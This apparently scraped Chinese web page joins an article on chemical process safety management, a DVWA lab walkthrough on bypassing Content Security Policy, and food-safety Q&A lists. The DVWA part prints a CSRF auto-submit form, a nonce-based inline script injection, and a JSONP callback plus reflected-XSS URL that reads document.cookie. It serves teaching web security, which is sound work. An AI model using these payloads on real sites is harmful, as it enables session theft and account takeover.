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    举例:如2020年8月5日发文资料,请搜索:ABC安全H20200805

    工艺安全管理的含义及目的

    工艺安全管理–PSM(Process Safety Management)是通过对化工工艺危害和风险的识别、分析、评价和处理,从而避免与化工工艺相关的伤害和事故的管理流程工艺安全管理(PSM)体系的目的确保工艺设施如化工厂、炼油厂、天然气加工厂和海上钻井平台得到安全的设计和运行。工艺安全管理(PSM)体系专注于预防重大工艺事故,如火灾、爆炸和有毒化学品的泄漏等

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    在20世纪80年代发生了一系列的严重事故,例如印度博帕尔的有毒气体泄漏事件,针对这些,第一部工艺安全管理(PSM)的法规得以出台。美国最重要的工艺安全管理(PSM)法规是职业安全及健康管理局(OSHA)于1992年颁布的29 CFR1910.119 高度危险化学品的工艺安全管理。1996年美国环境保护局(EPA)又将工艺安全的监管范围扩展到了环境和公众安全。此外有一些州制订了自己的工艺安全管理(PSM)法规,包括:新泽西州的毒害物灾难防治法(1986年);特拉华州剧毒物风险管理法(1989年);内华达州的化学品事故预防管理(CAPP)。各种专业协会还建立了不同的工艺安全管理(PSM)标准和指导程序,如美国石油学会(API)的建议实践750。各种专业公司和社团组织过与工艺安全管理(PSM)相关的各种研讨会,如化工工艺安全中心、“成功工厂”和石油工程师协会等。我国现在这方面落后在他们后面,相信如果PSM在我国推行,是可以避免诸如重庆开县井喷、吉林石化爆炸和上海农药厂冲料此类的事故的;现阶段很多国内公司工厂在推行EHS或者叫HSE体系,但是如果流程工业意识不到EHS体系和PSM的区别,简单认为有EHS体系即可,那也是一个很大的误区。

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    工艺安全管理(PSM)的特征

    工艺安全管理(PSM)不是一个由管理层下达到其员工和承包商工人的管理程序,而是一个涉及每个人的管理程序。关键词是:“参与,绝对不是仅仅沟通。所有管理人员,雇员和承包商工人都为工艺安全管理(PSM)的成功实施负有责任。管理层必须组织和领导PSM体系初期的启动,但员工必须在实施和改进上充分参与进来,因为他们是对工艺如何运行知道最多的人,必须由他们来执行建议和变动。如内部职能部门和外部顾问这样的专家组可以针对特定领域提供帮助,但工艺安全管理(PSM)从本质上来说是生产管理部门自己的职责。仔细考察其内容可以帮助我们进一步理解工艺安全管理(PSM)的概念。PSM包含要素

    PSM包含14个要素:

    1. 工艺安全信息 ProcessSafety Information(PSI)

    2. 员工参与 EmployeeInvolvement

    3. 工艺危害分析 Process HazardAnalysis(PHA)

    4. 操作规程 OperatingProcedures

    5. 培训 Training

    6. 承包商管理 Contractors

    7. 开车前安全评审 Pre-startupSafety Review(PSSR)

    8. 设备完整性 MechanicalIntegrity(MI)

    9. 动火作业 Hot Work

    10. 变更管理 Management of Change(MoC)

    11. 事故调查 Incident Investigation

    12. 应急响应 Emergency Planning and Response(ERP)

    13. 符合性审计 Compliance Audits

    14. 商业保密 Trade Secrets

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    要素一工艺安全信息PSI

    包括高危化学品(HHC)危害信息,工艺技术和工艺设备信息等。

    1. MSDS(或安全标签、安全标志等)

    2. 化学品相容性列表

    3. 化学品与材料的相容性列表

    4. 放热反应的临界量

    5. 工艺技术

    6. P&ID(管道及仪表流程图)

    要素二:员工参与,包括工厂员工和承包商

    要素三工艺危害分析(PHA)

    工艺危害分析用于识别、评估和制定出控制与高危险工艺相关的重大危险的方法。工艺危险分析运用有组织的、系统的研究途径寻求和达成对于危险控制的跨部门的一致意见并将结果文件化,用以将来跟踪,应急计划,和培训有关工艺操作、维修的人员。

    7. 在下列情况下必须进行工艺危害分析:

    ①新改设备设施

    ②新改工艺   

    8. PHA的工作程序(附件中,请下载查看)

    艺危害分析的结果和建议,包括采取的行动,必须与所有执行整改、作业人员和相关受影响的人员进行沟通。

    要素四操作规程和安全实践

    操作规程必须能够使人员清楚的了解安全操作的详细操作参数和极限值,同时清楚地解释在工艺极限值之外操作对安全、健康和环保产生的后果,以及阐述校正和避免偏差所应采取的步骤。应制定安全工作实践以确保在工艺区域安全进行非常规工作的操作和维护活动。上述安全工作实践应包括执行工作之前的工作许可和授权规定。

    要素五:培训

    工厂将制定、文件化和实施适当的培训方针和计划,包括:

    9. 人员要求

    10.讲师资格

    11.基本技能

    12.工作任务

    13.紧急反应和控制

    14.复习和补充培训

    工厂将实施一特定计划,以确保处理危险物料的人员适合其职责,并且不会由于外界影响而改变。

    要素六:承包商管理

    所有的任务都应按制定的程序/或安全工作实践安全地完成,不管任务是由工厂员工或承包商员工来完成。工厂将制定、文件化和执行承包商安全管理程序以确保:

    15.将与承包商工作和工艺有关的已知潜在危险通知每个承包商

    16.每个承包商员工都接受并了解工厂安全规定和适用的设施安全工作实践的培训

    17.每个承包商员工都遵循安全规定和适用的设施安全工作实践

    18.保存并定期评估承包商的安全表现

    要素七:开车前安全评审(PSSR)

    工厂将对所有新的或修改后工艺技术需有所变更的设施进行开车前安全评审。PSSR检查表用于全面的安全评审,确保评审小组所有成员(操作、技术、机械、及适当的安全代表)一致同意设备能正确操作,并能安全开车。

    要素八:设备完整性(MI)

    确保装有危险物质系统的完整性,在整个设施的使用期间得以保持。其涉及内容包括:

    19.维修程序

    20.维修人员的培训和表现

    21.质量控制程序

    22.设备试验和测试,包括预期的和预防性的维修

    23.可靠性工程

    要素九:动火作业

    要素十:变更管理(MoC)

    24.人员变更管理

    25.设备变更管理

    26.技术变更管理

    要素十一:事故调查

    彻底地调查所事故根本原因,采取有效的预防措施,避免事故重复发生。所有的事故报告中的建议整改措施必须如期完成。调查结果和行动计划应加以文件化并与事故报告档案一起保存。

    要素十二:应急响应(ERP)

    工厂将进行和使用后果分析对紧急计划和反应提供信息。制定书面紧急行动计划,包括

    27.建立应急响应小组ERT(FirstAid,FireFighting,Spill)

    28.根据风险评估,制定应急预案和演练计划ERP

    29.根据应急演练计划定期进行演练

    要素十三:符合性审计

    30.自我审核

    31.第二方审核

    要素十四:商业保密

    这些要素之间是相互关联的。例如,一个工程师希望改变运行条件,首先他或她必须使用变动管理(要素十),这可能要求他或她进行危害和可操作性分析-HAZOP,然后需要更新工艺安全信息(要素二),紧接着更新作业程序(要素四),针对新的操作条件培训操作员,(要素五),在新作业条件下运行前进行启动前安全审查(要素七),最后更新检查程序,符合性审计(要素十三)。工艺安全管理(PSM)已经超越了最基本的遵守法规,提升到了提高可靠性和推进企业文化的高度。工艺安全管理(PSM)是一项永无间断的持续活动,它是一个过程,而不是一个项目。由于风险永远不可能为零,因此任何时候总有可以提高安全性和可操作性的空间。不能将工艺安全管理(PSM)看作是一个一次性解决问题的方法。工艺安全管理(PSM)是非指令性的,这意味着,该领域的法规和标准提供的针对需要做些什么的细节一般很少。例如,OSHA工艺安全管理(PSM)的技术部分只有10页长。基本上,工艺安全管理(PSM)规则说:“在你的工厂中做你所能做来避免事故”,至于如何达到这个目的,由管理人员和雇员来决定。对于作什么才可以实现安全运行这个问题,没有普遍适用的“正确答案”。在一个地方适合的,换个地方可能适合也可能不适合。工艺安全管理(PSM)标准只是要求程序到位而且得到遵守。(ISO 9000和其它质量标准要求企业制定自己的标准然后遵守,在这方面,工艺安全管理(PSM)和它们类似。)工艺安全管理(PSM)是非指令性的,就必然要以最终的表现来评判。这意味着,没有意外或事故是唯一真正成功的标志。唯一真正可以接受的安全水平是零事故。然而,无论怎样运行良好,零事故率是一个理论上无法实现的目标。尽管事实上许多公司设定“零事故”的目标,风险永远不能为零,意外随时可以发生。事实上,如果一个单元运行足够长的时间,统计学上来讲必然会有一个意外。因此,即使规定工艺安全管理(PSM)的目标可能是“零事故”,在现实中,管理层也要确定“一个可接受的安全”水平和现实的目标。

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    来源:安全应急、ABC安全、网络,感谢原作者,如有侵权请联系,24小时删除

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    资料下载请点击“

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  • $(document).ready() 里代码是在页面内容都加载完才执行,如果把代码直接写到script标签里,当页面加载完这个script标签就会执行里边代码了,此时如果你标签里执行代码调用了当前还没加载过来代码或者dom...
  • 简单介绍一下就是浏览器的安全策略,如果 标签,或者是服务器中返回 HTTP 头中 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行。阮一峰老师也关于CSP 的文章,大家...

    看到标题,是否有点疑惑 CPS 是什么东东。简单介绍一下就是浏览器的安全策略,如果 标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行。阮一峰老师也有关于CSP 的文章,大家可以看看

    看回 DVWA。DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了。
    1409313-20190101211237478-55499329.png

    初级

    初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。

    1409313-20190101211505203-922325553.png

    其他的网站,大家应该也比较熟悉。而当中的 pastebin 是什么网站呢?一个快速分享文本内容的网站
    假如文本的内容是一段 js 代码呢?

    1409313-20190101211835094-330397747.png
    比如是源码中提示我们的, 输入 https://pastebin.com/raw/VqHmJKjr

    1409313-20190102221906823-417405548.png

    所以,不应该信任那些可以自由编辑文件的网页的

    那么能如何进行攻击呢? 可以用 CSRF 吧。

    造一个恶意的网站,通过发邮件的方式诱导用户点击即可。详情可以看 CSRF 那一章

    <form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post">
    <input type="text" name="include" value=""/>
    </form>
    <script>
    var form = document.getElementById("csp");
    form[0].value="https://pastebin.com/raw/VqHmJKjr";
    form.submit();
    </script>

    中级

    1409313-20190101213934610-926774802.png

    中级的问题在于使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' 这个标签,

    也就是说如果你输入

    <script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

    是能注入成功的。

    这当然也可以利用 CSRF 手段进行攻击

    高级

    高级就改变了形式了,点击按钮会得到答案,而这个答案是用 JSONP 的方式获得的。(常用于跨越请求)
    1409313-20190101214931789-15038190.png

    而且 cps 也设置为只信任自己的域名了

    Content-Security-Policy: script-src 'self';

    那这能有什么问题呢?

    而点击后发请求的逻辑在 vulnerabilities/csp/source/high.js

     function clickButton() {
        var s = document.createElement("script");
        s.src = "source/jsonp.php?callback=solveSum";
        document.body.appendChild(s);
    }
    
    function solveSum(obj) {
        if ("answer" in obj) {
            document.getElementById("answer").innerHTML = obj['answer'];
        }
    }
    
    var solve_button = document.getElementById ("solve");
    
    if (solve_button) {
        solve_button.addEventListener("click", function() {
            clickButton();
        });
    }
    

    先说下这里的逻辑是什么吧。

    1. 客户端点击按钮后,会在 html 中创建 <script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> 这样的标签
    2. 因为 script 不同于 ajax,所以可以跨域发送的
    3. 服务器就根据 callback 请求,返回 solveSum({"answer":"15"}) , 就可以调用 high.js 中的solveSum 有点绕。

    大家应该能理解吧。

    但如果有人将 callback 参数改成 ...callback=alert(document.cookie)//呢?
    返回的确实 alert(document.cookie)//({"answer":"15"}) 。。。

    所以这是一个注入点。
    至于如何利用,可以用同一个级别的 反射型 XSS 攻击,在 CSRF 那篇也见过这种攻击的手法

    假如我有一个这样的 js 。

    d=document;
    h=d.getElementsByTagName('head').item(0);
    s=d.createElement('script');
    s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');
    h.appendChild(s);

    即可完成攻击

    而 xss 攻击 url 是这样的

    http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20οnerrοr=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)

    去掉转义是这样的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=x#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);
    意思就是说,XSS 那里有个注入点,添加了个图片,图片地址错误的时候会折断 url 的哈希路由的部分进行攻击。具体还是看下 XSS 和 CSRF 那部分吧

    不可能

    就没有 url 中的 callback 了,后台写死了

    <?php
    
    $headerCSP = "Content-Security-Policy: script-src 'self';";
    
    header($headerCSP);
    
    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
        " . $_POST['include'] . "
    ";
    }
    $page[ 'body' ] .= '
    <form name="csp" method="POST">
        <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
        <p>1+2+3+4+5=<span id="answer"></span></p>
        <input type="button" id="solve" value="Solve the sum" />
    </form>
    
    <script src="source/impossible.js"></script>
    ';

    总结

    见识了这些绕过的方式,设置 CSP 还得谨慎点。
    JSONP 跨域,其实也挺多安全性问题的。比如一些敏感的信息一不注意就会在恶意网站通过 JOSNP 泄露出去的。

    转载于:https://www.cnblogs.com/jojo-feed/p/10204588.html

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  • 关于食品安全,你应该知道的60件事   2016-05-20 634人浏览  我迷潘玮柏 ...关于食品安全,你应该知道的60件事 ...1、食品标签的内容主要有哪些? 食品名称、配料表、净含量及固形物含量、厂名...

    关于食品安全,你应该知道的60件事

     
    2016-05-20 634人浏览 
    我迷潘玮柏

    关于食品安全,你应该知道的60件事

    4月7日,世界卫生日,今年主题是“食品安全”。每年全球约200万人因食源性和水源性腹泻病死亡!你知道常见的问题水果有哪些吗?哪些水产品不宜吃?如何鉴别甲醛水发食品?四季豆为何会致毒?

    1、食品标签的内容主要有哪些?

    食品名称、配料表、净含量及固形物含量、厂名、批号、日期标志等。

    2、世界公认的食品中三大致癌物质是什么?主要在哪些地方?

    亚硝胺类、苯丙芘和黄曲霉素。苯并芘主要发生在烟熏和烘烤食品中;亚硝胺类化合物存在于烟酒、熏肉、烤肉、海鱼、罐装食品、不新鲜食品;黄曲霉素多存在于发霉类玉米中。

    3、“三无”食品是指什么?

    无厂名厂址、无出厂合格证、无保质期的食品。

    4、芦荟中有毒素吗?

    芦荟含有一定毒素,中毒剂量为9~15克,食用后可出现恶心、呕吐、腹痛、腹泻、出血性胃炎等反应,最好在医生指导下食用。

    5、影响食品安全性的重金属污染主要有哪些?

    主要有铅、贡、镉。

    6、不安全食品中的“四大杀手”是哪些?

    吊白块、双氧水、甲醛和硫磺。

    7、因食物劣质奶粉而形成“大头娃娃”的原因主要是什么?

    奶粉中蛋白质、脂肪含量严重不足;奶粉中微量元素钙、铁、锌含量极低。

    8、市场上常见的问题水果有哪些?

    主要有激素草莓、打蜡苹果、硫磺香蕉、有毒西瓜、变色葡萄、毒桂圆等。

    9、儿童吃无铅皮蛋有害吗?

    “无铅皮蛋”只是铅的含量低很多。微量铅对成年人健康影响不大,但对儿童来说,无铅皮蛋也应少吃或不吃为好。

    10、什么是雕白块?

    其对人体有何危害?雕白块又叫“吊白块”,人食用这类食品后可引起过敏,严重者可以致癌。这是慢性中毒,吃一次两次可能感觉不到。

    11、重金属元素更容易富积在鱼虾的哪个部位?

    头部。

    12、无公害农产品标志的标准颜色是什么?

    由绿色和橙色组成。

    13、如何鉴别味精质量优劣?

    优质味精味道极鲜,具有鲜咸肉味,略有咸味(含氯化钠的),无其他异味。次质味精滋味正常或微有异味。劣质味精有苦味、涩味、霉味及其他不良滋味。

    14、水垢对人体有危害吗?如何除去?

    水垢对人体的危害非常大,对于保温瓶或陶瓷器皿,以下出去其上的水垢的方法正确的是可用加入适量醋的水侵泡,慢慢溶解掉。

    15、如何辨别真假碘盐?

    可将盐撒在淀粉溶液或切开的马铃薯切面上,如显出蓝色,是真碘盐。

    16、劣质酒中会致人失明的物质是什么?

    甲醛。

    17、哪些水产品不宜吃?

    死鳝鱼、死甲鱼、死河蟹、皮青肉红的淡水鱼不能吃;反复冻化的水产品应少吃;用对人体有害的防腐剂保鲜的水产品不宜吃。各种畸形鱼不能吃。

    18、如何鉴别变质酸奶?

    变质酸奶,有的不凝块,呈流质状态;有的酸味过浓或有酒精发酵味;有的冒气泡,有一股霉味;有的颜色变深黄或发绿。

    19、我国现允许使用最常用的四种合成色素是什么?

    柠檬黄、苋菜红、胭脂红和落日黄。

    20、汤圆变红后为什么不能吃?

    变红是被酵米面黄杆菌污染的结果,由于该菌能产生毒素,食用后引起中毒。

    21、为预防扁豆中毒,在加工扁豆时应注意什么?

    颜色由青绿变灰褐色,尝起来没有豆腥味,烧熟煮透。

    22、什么是食品保质期?

    保质期(最佳食用期)是指在标签上规定的条件下,保持食品质量(品质)的期限。超过此期限,在一定时间内食品仍然是可食用的。

    23、什么是食品保存期?

    保存期(推荐的最终食用期)是指在标签上规定的条件下,食品可以食用的最终日起;超过期限,食品不再适于销售和食用。

    24、喝豆浆要注意做到哪五不?

    不喝没有煮沸的豆浆;豆浆中不能冲入鸡蛋;不要空腹饮豆浆;不用保温瓶储存豆浆;不要过量饮豆浆。

    25、煎炸食物时油温为什么不宜过高?

    有温过高会使油产生对人体有害的物质。

    26、如何鉴别甲醛水发食品?

    一看颜色:如果食品过于白,且体积肥大,应避免食用;二闻:是否有刺激性异味;三摸:是否手一捏食品就很容易碎。

    27、蔬菜为什么不易久存?

    蔬菜存放数日后再食用非常危险,亚硝酸盐在人体内与蛋白质类物质结合,可生成致癌性的亚硝酸类物质。

    28、为什么七八分熟的涮羊肉不宜吃?

    易感染上旋毛虫病。

    29、为什么发霉的茶叶不能喝?

    发霉的茶叶可能含有大量毒素,危害人的身体健康。

    30、如何用电冰箱安全保藏食品?

    冰箱内的生熟食物必须分开放置;准备放入冰箱内的生熟食物要清洗干净;应按时清洗冰箱,特别是随时清洗生食物上渗出的溶液。

    31、劣质食醋有哪些特征?

    悬浮物或沉淀较多,有强烈的刺激性气味,营养成分低。

    32、仓库储存食品应做到哪“四防”?

    防尘、防蝇、防鼠、防潮(防霉或防腐)。

    33、不宜放进冰箱的食物有哪些?

    香蕉、西红柿、鲜荔枝、火腿、巧克力。

    34、人体必需的六种基本营养素是什么?

    水分、蛋白质、脂肪、碳水化合物、维生素和矿物质。

    35、哪些操作有助于保存蔬菜中的维生素?

    洗菜要先洗后切;切菜要随切随炒,切忌切好后久置;烹调蔬菜时适当加点醋,可以减少维生素C的损失。

    36、季度中毒的原四因是什么?

    烹调不当是中毒主因,多数为炒煮不够熟透所致。未煮熟的四季豆含皂素,对消化道黏膜有强烈刺激性;未成熟四季豆或含凝聚素,有凝血作用。

    37、为什么食用鲜黄花菜不当会中毒?

    鲜黄花菜中含有一种叫秋水仙碱的化学成分,会引起中毒。

    38、如何鉴别大料与红茴香?

    两者都有特殊的香气,但大料香味甜,红茴香香味先微酸而后甘;颜色有区别,大料表面呈红棕色或褐色,红茴香表面呈红褐色。

    39、什么是食用油的四怕?

    食用油有“四怕”:一怕阳光,二怕高温、三怕接触空气,四怕进水。

    40、油锅冒烟才下菜吗?

    在烧菜时视锅中油冒烟下原料,认为这样炒出来的菜才会香,其实油温过高害处多。

    41、哪些人不宜饮牛奶?

    经常接触铅的人、牛奶过敏者、反流性食管炎者、腹腔和胃切除手术后病人、肠道易激综合征患者。

    42、儿童不宜多吃的食物有哪些?

    儿童不宜多食以下食物:糖果、甜食、巧克力、果冻、方便面、纯净水、洋快餐、冷饮、银杏果。

    43、食源性疾病是指什么?

    凡是致病因素通过食物进入人体,使人体罹患感染性或中毒性疾病的,都称之为始源性疾患。

    44、食物中毒的种类有哪些?

    细菌性食物中毒、霉菌性食物中毒、有毒动植物食物中毒、化学性食物中毒。

    45、如何识别农药毒死的鱼?

    胸鳍张开且很硬,嘴巴紧闭;鱼鳃紫红或黑褐色;苍蝇很少叮咬。除腥味外,还有其他异味,如煤油味、氨水味、硫磺味、大蒜味等。

    46、豆腐和豆浆应应如何保存?

    夏天最好当天食用,春、秋、冬季最好也不要超过三天。工业化生产的盒装豆腐在2~8℃下,可保质7天,工业化生产的袋装(复合薄膜)豆腐在5~10℃下,保质期为3天。

    47、豆腐和鱼合吃好吗?

    两者合吃,借助鱼体内维生素D的作用,可使人体对钙的吸收率提高很多倍。

    48、如何识别米猪肉?

    米猪肉一般不鲜亮,肥肉瘦肉及五脏、器官上都有或多或少米粒状的囊包,呈乳白色。

    49、如何鉴别死猪肉?

    死猪肉的特征是周身紫红色、血管中充满着黑红色的凝固血液、腿内部的大血管有黑红色的血栓。

    50、识别食品罐头是否变质的方法有哪些?

    挤压罐头的盖和底,看是否有液体溢出;检查内容物的色泽、状态、气味;检查瓶贴和有效期。

    51、柿子如果一次食量过大,或者是食用未成熟的柿子时,容易引起什么症状?

    胃柿石。

    52、哪些水果蔬菜的皮不易食用?

    红薯、马铃薯、荸荠皮、柿子皮。

    53、孩子应培养哪些食品安全习惯?

    养成良好的卫生习惯,生吃的瓜果和蔬菜要洗干净,尽量少吃时间过长的剩菜剩饭。

    54、不宜搭配的蔬菜水果有哪些?

    菠菜和豆腐,柿子和红薯,马铃薯和香蕉,萝卜和水果等。

    55、食物中毒的常见原因有哪些?

    原料选择不当;在生产、加工、运输、储存、烹饪等过程中不注意卫生;进食前加热不充分,未能杀灭细菌或破坏其霉素。

    56、在发现食品生产违法行为时,可以拨打哪部电话进行举报投诉?

    拨打质监局12365举报电话。

    57、在消费视频过程中受到侵害,如何投诉举报?

    可拨打全国消费者申诉举报统一电话12315.

    58、永远告别动物油?

    动物油(鱼油除外)含有对心血管有益的多烯酸、脂蛋白等,可抗高血压和预防脑中风。正确吃法是植物油、动物油搭配。

    59、标有“不含胆固醇”的油才是好油?

    在植物油中,胆固醇含量与猪油和黄油相比,数值很低,但即使这样,胆固醇也不可能从油脂中被去掉。

    60、如何避免水果蔬菜的农药残留?

    (1)以水果蔬菜专用清洗配方清洗水果蔬菜。

    (2)尽量选购时令盛产的水果蔬菜。

    (3)在自然灾害或节日前后,避免抢购水果蔬菜,以防止生产者为抢购而过量喷洒农药。

    (4)勿偏食某些特定的水果蔬菜。

    (5)可选购市面上信誉良好的水果蔬菜加工品(如罐装及腌渍水果蔬菜)或冷冻蔬菜,因为加工过程中(如“杀菁法”)已出去大部分农药。

    (6)外表不平或多细毛的水果蔬菜(如猕猴桃、草莓等)较易沾染农药,可去皮者,一定要去皮,否则务必认真清洗。

    (7)可选购含农药概率较少的果蔬,如有特殊气味的洋葱、大蒜;病虫害抵抗力较强的龙须菜;需去皮的马铃薯、甘薯、冬瓜、萝卜。

    (8)当发现水果蔬菜表面有药斑,或有不正常、刺鼻的化学药剂味道时,应避免选购。

    (9)对于连续性采收的农作物,如菜豆、豌豆、韭菜花、小黄瓜、芥蓝菜等,是需要长期且连续地喷洒农药,应特别注意清晰。

     

     

    这些食品安全常识你该知道

    2015-6-18 10:56:55 中国食品科技网
     

    “如何辨别伪劣食品”、“遇到食品问题怎样有效投诉”、“外出就餐应注意什么”……对于食品安全,不少新区市民有着诸多疑惑。本周启动的2015年滨海新区食品安全宣传周活动,将举行相关主题宣传活动,宣传和科学普及食品安全知识,您或许可以从中找到答案。针对市民比较关注的问题,记者近日进行深入采访。  疑问1

    发现变质食品怎么办?

    “夏季天气炎热,食品极易腐败变质。”家住蓝山国际的张先生告诉记者,他曾购买到胀袋的食品,怀疑产品变质,但购物凭证丢失,商家拒绝退货。此外,在外就餐,他也曾食用疑似变质的食物出现腹泻腹痛的情况。“今后,我再遇到类似情况怎么办?”

    对此,新区食安委相关负责人表示,在日常消费中,市民要注意索要小票、发票、收据等相关消费凭证,对有质量问题的食品或餐饮服务,要注意留有证据,以便投诉维权。

    目前,天津市已开通便民服务专线88908890,全面受理公众对食品、药品、保健食品、化妆品、医疗器械的质量安全和公共场所卫生的投诉举报、政策咨询以及信息查询服务。市民遇到任何食品安全问题,都可以直接拨打该电话咨询、投诉和举报。

    同时,消费者外出就餐时应选择食品安全等级较高的餐饮服务单位就餐,可根据店内“笑脸”标识对该餐饮单位食品安全状况有个直观了解,进而作为选择。就餐过程中,如发现餐饮服务单位供售的食品腐败变质、异常时,应停止食用,可向监管部门投诉举报。

    疑问2如何辨别伪劣食品?

    市民赵小姐对于伪劣食品深恶痛绝,“对于伪劣食品,大家都知道不要购买,但在平常购物时却难以辨别。那伪劣食品有哪些辨别方法呢?”

    监管部门的工作人员提醒,市民选购食品,可首先观察食品本身的颜色。对于颜色过于艳丽的食品要提防,而食品呈不正常不自然的白色,可能添加漂白剂、增白剂、面粉处理剂等化学品。同时,对于在价格上明显低于一般价格水平的食品,产品或存有“猫腻”。对于小作坊加工企业的产品,散装的食品也要谨慎购买。

    疑问3哪些途径可了解食品安全常识?

    “我可以通过什么途径了解到食品安全知识?”市民李大妈问。

    “宣传周期间,新区相关部门将举办系列活动向市民宣传和科学普及食品安全知识。”新区食安委相关负责人表示,根据活动方案,新区将开展食品安全“进社区、进学校、进工厂、进超市、进餐馆”五进活动,利用宣传栏、咨询台等平台,近距离指导市民学习食品安全知识。记者张广艳

    防中毒有守则

    ◎购买食品时要查验食品的“QS”、“生产日期”、“保质期”等食品安全标识。

    ◎不吃变形、变味、变色食品和包装破损或异常的食品(如胀罐),因为这种食品可能发生腐败变质。

    ◎冰箱保存食品要严格分类分区,不能生熟混放。

    ◎粮谷类及油脂要存放在通风、干燥、避光的地方。

    ◎便后、饭前、加工食品前要洗手。

    ◎防止生、熟食品之间交叉加工,要做到加工每一种食品前后都要洗手,案具、刀具不能混用,饮用清洁水,不喝生水。

    ◎外出就餐要注意就餐环境卫生、餐具清洁度;不吃装盒超过2小时的盒饭。

    ◎不吃不熟的青豆角、鲜黄花菜,不吃发芽的土豆,不吃野生蘑菇、霉变粮谷和蛋壳破裂有异味的鸡蛋。

     

    你应当知道的食品安全常识

     (2007-10-31 12:17:32)
       

    一.食品安全的狭义概念与广义概念

     

        1、狭义的食品安全概念:主要是食品卫生,即食品应该无毒、无害,保证人类健康和生命安全,维持身体健康。

        2、广义的食品安全概念:是持续提高人类的生活水平,不断改善环境生态质量,使人类社会可以持续、长久地存在与发展。包括卫生安全、质量安全、数量安全、营养安全、生物安全、可持续性安全六大安全要素。

        总结:我们将食品安全的涵义归结如下:富有营养的、不含有可能损害或威胁人类健康的有毒、有害物质或因素,从而导致消费者急性或慢性毒害或感染疾病,或产生危及消费者及其后代健康的隐患。

     

    二.食品安全概念的内涵

     

    1 食品卫生安全

       (1)食品卫生概念:为确保食品安全性和适用性在食物链的所有阶段必须采取的一切条件和措施。

       (2)食品卫生安全:食品的基本要求是卫生和必要的营养,其中食品卫生是食品的最基本要求。强调保证食品卫生,是解决吃得干净不干净、有害与无害、有毒与无毒的问题,也就是食品安全与卫生的问题。食品卫生是创造和维持一个有益于人类健康的生产环境,必须在清洁的生产加工环境中,由身体健康的食品从业人员加工食品,防止因微生物污染食品而引发的食源性疾病。同时,使引起食品腐败微生物的繁殖减少到最低程度。

        食品安全是以食品卫生为基础。食品安全包括了卫生的基本含义,即“食品应当对人体无毒、无害”。

     

    2 食品质量安全

       (1)食品质量的概念:食品满足消费者明确的或者隐含的需要的特性。包括功用性、卫生性、营养性、稳定性和经济性。

           功用性:色、香、味、形,提供能量,提神兴奋,防暑降温i、爽身;

           卫生性:不污染、无毒、无害;

           营养性:生物价值高;

           稳定性:易保存、不变质、不分解;

           经济性:物美价廉、食用方便。

       (2)食品质量安全:是指食品产品品质的优劣程度,是指食品的外观和内在品质,如感官指标色、香、味、形:内质包括口感、滋味、气味等。食品要符合产品标准规定的应有的营养要求和相应的色、香、味、形等感官性状。 

     

    3 食品营养安全

         (1)营养安全:按照联合国粮农组织的解释,营养安全就是“在人类的日常生活中,要有足够、平衡的,并且含有人体发育必需的营养元素供给,以达到完善的食品安全。”

         (2)食品的营养成分指标要平衡、结构要合理。食品必须要有营养,如蛋白质、脂肪、维生素、矿物质、纤维素等各种人体生理需要的营养素要达到国家相应的产品标准,食品要能促进人体的健康。如果食品达不到国家相应的产品标准,这种食品在营养上就是不安全的。

     

    4 食品数量安全

        食品数量安全:是指食品数量满足人民的基本需要,从数量的角度,要求人们既能买得到、又能买得起需要的基本食品。

     

    5 食品生物安全

         食品生物安全:是指现代生物技术的研究、开发、应用以及转基因生物的跨国、越境转移,可能会对生物多样性、生态环境和人体健康及生命安全产生潜在的不利影响,特别是各类转基因活生物提示放到环境中可能对生物多样性构成潜在风险与威胁。研究和监测表明,转基因生物可能对生物多样性、生态环境、人体健康和生命安全产生多方面的负面影响。

     

    6 食品可持续性安全

        从发展的角度,要求食品的获取要注重生态环境保护和资源利用的可持续 性。

     

    三.我国食品安全内涵与发达国家食品安全内涵的显著区别

     

         在发达国家,食品安全所关注的主要是由生物污染如致病毒、病毒、寄生虫等和科技发展所引发的问题,如转基因食品、辐射食品、“疫苗食品”的安全性对人类健康的影响,食品工程新技术所使用的配剂、介质、添加剂及其对食品卫生质量的影响。几乎没有人为造假制劣食品。食品监管的主要任务就是控制微生物食品污染和食品工程新技术所带来的食品安全问题。

         我国食品安全主要是人为化学污染,最严重的化学污染是农药、兽药、化肥、激素,最可怕的食品污染是人为制假制劣和投毒。如假冒伪劣、有毒有害食品的非法生产经营。因此,我国食品安全整治的内容要比国外发达国家复杂的多,困难的多。既包括生物性污染,又包括化学性污染。

     

    目前食品安全存在的主要问题表现在以下诸多方面:

     

    1 农用化学物质

          导致食品不安全的农用化学物质包括农药、化肥、激素(植、动物生长调节剂)以及饲料添加剂等。如农药超标的农产品、化学激素催熟的蔬菜水果、硝酸盐和亚硝酸盐远远高于指标稀疏的蔬菜、“富含”瘦肉精的猪肉、有促肥避孕药残的鳝鱼和甲鱼、有抗生素残留的大闸蟹等等。

     

    2 工业污染

        工业三废的排放成为农业环境的主要污染源。工业对农业环境的污染主要包括土壤污染(包括重金属、非重金属如氟化物及硫化物等、有机物如PGC)、水源污染(包括地下水和地面水)和大气污染(包括有害气体或大气沉降)

     

    3 食品加工环节

        (1) 违规使用添加剂,食品中含有有毒有害物质

